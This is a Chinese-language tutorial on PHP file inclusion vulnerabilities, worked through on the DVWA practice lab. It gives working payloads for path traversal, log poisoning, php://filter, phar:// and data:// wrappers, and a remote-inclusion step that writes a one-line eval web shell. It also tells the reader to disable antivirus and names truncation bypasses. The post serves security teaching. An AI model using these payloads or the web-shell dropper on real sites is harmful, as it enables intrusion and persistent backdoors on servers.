数据来源
本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
01 文件包含漏洞概述
简单例子
PHP中的文件包含函数
02 文件包含漏洞类型及利用
本地文件包含 -- 示例:(这里使用DVWA靶场做演示)
1)包含系统文件
首先要把靶场的安全等级调低
然后要配置一下我们的php的运行环境,因为我们选择“文件包含”这个选项是会提示有个php函数未定义。
打开 php.ini,找到allow_url_include=Off 改为 allow_url_include=On
下面这个就是靶场的文件包含页面,我们可以通过更改网站的URL路径访问本地的文件
将url路径后面的page改成page=C:/Windows/win.ini (win.ini这个文件一般的windows系统都有)
2)包含上传文件
在www目录下有个phpinfo.php,内容很简单就一句代码:
# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php phpinfo();?>
phpinfo.php文件位置
靶场的文件包含的文件位置
如果我们要在靶场的文件包含这里访问phpinfo.php文件,可以使用相对路径或绝对路径
相对路径:../../../phpinfo.php(../ 上一级目录)
绝对路径:D:/phpStudy/PHPTutorial/WWW/phpinfo.php
在这里其实我们访问的文件不一定就要是php文件,可以是txt、png之类的只要文件的内容符合php的语法要求都是会被当成php文件执行。
如我们可以建一个aa.txt文件,内容如下:
# phpinfo是一个服务器的运行指令,可以显示php服务器的配置信息
<?php
phpinfo();
?>
访问
敏感文件默认路径列举
本地文件包含漏洞利用方式
1)本地文件包含配合日志文件
一般我们在网站的URL路径上的访问都是会被记录到一个日志文件如下:(默认情况下这个日志文件是没有的,我们需要手动开启日志功能)
重启phpstudy,访问日志文件存在
现在知道了我们访问的url会被网站记录下来,这样我们就可以在url上访问我们的后门代码,然后如果知道网站的日志文件的位置的话我们就可以直接使用文件包含执行我们的后门代码
<?php phpinfo();?>
在靶场随便找个地方在url路径后面输入我们的代码,让日志文件记录
我这里的代码被转码了,我看被人的使用文件包含访问不影响,我这里访问不了
解决方法:使用Burpsuite代理然后改包再重新发送。(参考)
日志文件这边保存的就是正常的代码了
使用文件包含访问日志文件
相对路径:../../../../Apache/logs/access.log
绝对路径:D:/phpStudy/PHPTutorial/Apache/logs/access.log
2)利用file协议
3)利用php://filter协议
示例:
语法:php://filter/read=convert.base64-encode/resource=文件路径/名
我这里直接访问www目录下的phpinfo.php的内容:
php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/phpinfo.php
这里拿到的文件内容是经过base64加密的我们要解密才能查看原来的内容,网上有很多在线解密的工具,我这里使用浏览器的插件Hackbar进行解密
4)利用zip:、bzip2:∥、zib;/协议
5)利用phar://协议
示例:
创建一个phpinfo.txt文件,内容如下:
<?php phpinfo();?>
然后压缩
再把后缀名改成可以被网站接收的图片格式(png、jpg)
上传到网站
使用文件包含访问我们的图片
完整链接:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.jpg/phpinfo.txt
我这里报错了,查一下百度,解决方案:php版本大于等于php5.3.0(来源),最后成功访问
远程文件包含漏洞
1)包含远程文件,利用http协议:
示例1:(访问远程的文件)
访问:http://192.168.0.106/dvwa/vulnerabilities/fi/?page=http://192.168.0.106/phpinfo.php
示例2:(访问远程一句话木马,然后在服务器生成木马文件)
前提:把电脑一杀毒软件与自带杀毒功能关闭,不然我们的文件会被自动清理。
1、在www文件夹加新建一个.txt,内容如下:
<?php fputs(fopen("demo.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>
这句代码的意思是创建一个demo.php文件,文件的内容是:<?php eval($_POST["cmd"])?>
2、使用文件包含我们的txt文件(http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/aa.txt)
去到我们靶场的文件包含的目录下就能看到我们生成的文件
3、使用菜刀连接我们的一句话马
http://127.0.0.1/dvwa/vulnerabilities/fi/demo.php
2)利用php://input协议
<?php fputs(fopen("up.php","w"),'<?php @eval($_POST["cmd"]);?>'); ?>
3)利用data://协议
示例:
在文件包含哪里输入:data://text/plain,<?php phpinfo();
本地文件包含绕过方式
%00截断
路径长度截断
远程文件包含绕过方式